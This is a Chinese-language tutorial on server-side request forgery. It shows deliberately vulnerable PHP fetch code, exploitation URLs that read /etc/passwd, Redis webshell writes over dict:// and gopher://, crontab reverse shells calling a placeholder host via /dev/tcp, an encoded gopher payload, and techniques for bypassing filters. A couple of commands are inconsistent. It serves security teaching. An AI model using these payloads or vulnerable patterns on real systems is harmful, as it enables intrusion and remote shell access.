一、基础概念
服务端请求伪造(SSRF)是一种攻击者通过构造恶意请求,诱导服务器向非预期目标发起网络请求的安全漏洞。攻击者利用存在漏洞的服务器作为代理,绕过访问限制,访问内部资源或第三方系统,可能导致敏感信息泄露、内网探测、甚至远程代码执行。
攻击目标:一般是外网无法直接访问的内部系统。
二、漏洞原理
2.1 漏洞原因
- 用户可控数据:应用程序接收用户提供的 url 或域名(例如图片下载、API 调用、网页预览功能)。
- 服务器发起请求:服务器未严格校验用户数据,直接向该 url 发起 HTTP、FTP、Gopher 等协议请求。
- 访问非授权资源:攻击者通过篡改数据,使服务器访问内网服务(如数据库、管理后台)、本地文件(
file://
协议)或云元数据接口(如 AWS/Aliyun 的元数据服务)。
2.2 漏洞攻击场景
- 内网探测:扫描内网IP和端口,识别存活服务(如Redis、MySQL)。
- 敏感信息泄露:访问云服务器元数据(如
http://169.254.169.254/
获取临时密钥)。
- 协议滥用:
- 使用
file://
协议读取服务器本地文件(如file:///etc/passwd
)。
- 利用
gopher://
协议构造任意TCP流量攻击内网服务(如Redis未授权访问)。
- 绕过防御:通过服务器IP绕过IP白名单限制或身份认证。
三、漏洞产生
漏洞产生的相关函数
- file_get_contents()
- fsockopen()
- curl_exec()
- fopen()
- readfile()
3.1 file_get_contents()
1 2 3 4
| <?php $url = $_GET['url'];; echo file_get_contents($url); ?>
|
**file_get_content**
函数从用户指定的url获取内容,然后指定一个文件名进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。
3.2 fsockopen()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php function GetFile($host,$port,$link) { $fp = fsockopen($host, intval($port), $errno, $errstr, 30); if (!$fp) { echo "$errstr (error number $errno) \n"; } else { $out = "GET $link HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; $out .= "\r\n"; fwrite($fp, $out); $contents=''; while (!feof($fp)) { $contents.= fgets($fp, 1024); } fclose($fp); return $contents; } } ?>
|
**fsockopen**
函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限
3.3 curl_exec()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php if (isset($_POST['url'])){ $link = $_POST['url']; $curlobj = curl_init(); curl_setopt($curlobj, CURLOPT_POST, 0); curl_setopt($curlobj,CURLOPT_URL,$link); curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($curlobj); curl_close($curlobj);
$filename = './curled/'.rand().'.txt'; file_put_contents($filename, $result); echo $result; } ?>
|
**curl_exec**
函数用于执行指定的cURL会话
四、漏洞利用
4.1 ssrf 端口探测
1
| http://localhost/ssrf.php?url=http://127.0.0.1:6379
|
1
| http://localhost/ssrf.php?url=dict://127.0.0.1:6379
|
4.2 ssrf 任意文件读取
1
| http://localhost/ssrf.php?url=file:///etc/passwd
|
4.3 dict 协议利用
4.3.1 dict 协议读取 redis 版本信息
1
| http://localhost/ssrf.php?url=dict://127.0.0.1:6379/info
|
4.3.2 dict 协议利用 redis 写文件
以下方法可以实现修改文件内容、新建文件写入内容;
- 通过
info
探测是否设置口令
1
| ?url=dict://127.0.0.1:6379/info
|
出现类似NOAUTH Authentication required
等字样就是设置有口令,可以通过弱口令爆破进行认证
1
| ?url=dict://127.0.0.1:6379/auth:$123456$
|
- 更改 rdb 文件的目录至需要写文件的目录
1
| ?url=dict://127.0.0.1:6379/config:set:dir:/var/www/html
|
- 将 rdb 文件名 dbfilename 修改为写入的文件名 webshell.php
1
| ?url=dict://127.0.0.1:6379/config:set:dbfilename:webshell.php
|
- 写入内容到
dbfilename
中,如果内容存在过滤或者转义,可以利用 16 进制内容写入
1
| ?url=dict://127.0.0.1:6379/config:set:webshell.php:<?php phpinfo();?>
|
- 保存写入的内容
1
| ?url=dict://127.0.0.1:6380/save
|
4.3.3 dict 配置定时任务反弹 shell
要求系统存在cron
,且知道其相应的配置文件,假设配置文件为/etc/crontab
,与上述写文件相似,将定时任务写到/etc/crontab
1 2 3 4 5 6
| ?url=dict://127.0.0.1:6379/flushall ?url=dict://127.0.0.1:6379/auth:123456 ?url=dict://127.0.0.1:6379/config:set:dir:/etc/ ?url=dict://127.0.0.1:6379/config:set:dbfilename:crontab ?url=dict://127.0.0.1:6379/config:set:crontab:\n\n* * * * * root bash -i >& /dev/tcp/xx.xx.xxx.xx/4444 0>&1\n\n ?url=dict://127.0.0.1:6379/save
|
4.4 gopher 协议利用
相关工具和资料
- https://github.com/firebroo/sec_tools/tree/master
- https://github.com/tarunkant/Gopherus
- https://zhuanlan.zhihu.com/p/112055947
4.4.1 gopher 发送 GET 数据包
通过gopher发送get请求,请求数据包内容如下:
1 2
| GET /b.php?q=1 HTTP/1.1 Host: 192.168.47.244
|
gopher发送get请求方法
1 2 3 4 5
| //url编码前的内容 gopher://192.168.47.244:80/_GET /b.php?q=1 HTTP/1.1 Host: 192.168.47.244 //url编码后的内容 gopher://192.168.47.244:80/_GET%20/b.php%3Fq%3D1%20HTTP/1.1%0D%0AHost%3A%20192.168.47.244%0D%0A%0D%0A
|
4.4.2 gopher 发送 POST 数据包
通过gopher发送post请求,请求数据包内容如下:
1 2 3 4 5 6
| POST /b.php?q=1 HTTP/1.1 Host: 192.168.47.244 Content-Type: application/x-www-form-urlencoded Content-Length: 8
q=Myname
|
gopher发送post请求
1 2 3 4 5 6 7 8 9 10
| //url编码前的内容 gopher://192.168.47.244:80/_POST /b.php?q=1 HTTP/1.1 Host: 192.168.47.244 Content-Type: application/x-www-form-urlencoded Content-Length: 8
q=Myname
//url编码后的内容 gopher://192.168.47.244:80/_POST%20/b.php%3Fq%3D1%20HTTP/1.1%0D%0AHost%3A%20192.168.47.244%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%208%0D%0A%0D%0Aq%3DMyname
|
4.4.3 gopher 利用 redis 写文件
这里我们主要运用一下项目https://github.com/firebroo/sec_tools/tree/master
redis TCP Stream 数据读取内容编排方式
1 2 3 4 5 6
| *<参数数量> CR LF $<参数 1 的字节数量> CR LF <参数 1 的数据> CR LF ... $<参数 N 的字节数量> CR LF <参数 N 的数据> CR LF
|
与 dict 协议利用 redis 类似,也是通过 redis 实现写文件的,但是需要将 redis 的命令编写为 TCP Stream 的形式,这部分借助写好的工具脚本即可
redis.cmd文件为需要执行的redis命令,一行一条命令, e.g.
1 2 3 4 5 6 7 8 9 10
| # 刷新缓存 flushall # 更改 rdb 文件的目录至需要写文件的目录 config set dir /tmp # 将 rdb 文件名 dbfilename 修改为写入的文件名 webshell.php config set dbfilename webshell.php # 写入内容到dbfilename中,如果内容存在过滤或者转义,可以利用 16 进制内容写入 set 'webshell' '<?php phpinfo();?>' # 保存写入的内容 save
|
得到的payload
1
| %2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%34%0d%0a%2f%74%6d%70%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a
|
只需要在payload前面加上需要攻击机器的gopher://ip:port/_使用curl就行,最终payload
1
| gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%34%0d%0a%2f%74%6d%70%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a
|
4.4.4 gopher 配置定时任务反弹 shell
运用一下项目https://github.com/firebroo/sec_tools/tree/master
在 redis.cmd 文件输入自己需要执行的命令
1 2 3 4 5
| flushall config set dir /etc/ config set dbfilename crontab config set crontab \n\n* * * * root bash -i >& /dev/tcp/xx.xx.xxx.xx/44444 0>&1 \n\n save
|
得到 tcp 数据流后利用 gopher 协议发送即可。
五、ssrf 常见绕过方式
5.1 常用绕过方法
- @绕过;例如:http://abc.com@127.0.0.1
- 添加端口号;例如:http:127.0.0.1:8080
- 短地址;例如:https://0x9.me/cuGfD
推荐:http://tool.chinaz.com/tools/dwz.aspx、https://dwz.cn/
- 可以指向任意ip的域名;例如:xip.io
- ip地址转换成进制来访问;例如:192.168.0.1=3232235521(十进制)
- 非HTTP协议;
- DNS Rebinding;
- 利用[::]绕过;例如:http://[::]:80 == http://127.0.0.1:80
- 句号绕过;例如:127。0。0。1 == 127.0.0.1
- 利用302跳转绕过;
5.2 常见限制
- 限制为http://www.xxx.com 域名
采用http基本身份认证的方式绕过,即@;
利用http://www.xxx.com@www.xxc.com == http://www.xxc.com
进行绕过
- 限制请求IP不为内网地址
当不允许ip为内网地址时:
(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换
- 限制请求只为http协议
(1)采取302跳转
(2)采取短地址
参考链接
- https://www.cnblogs.com/miruier/p/13907150.html
- https://www.freebuf.com/articles/web/333318.html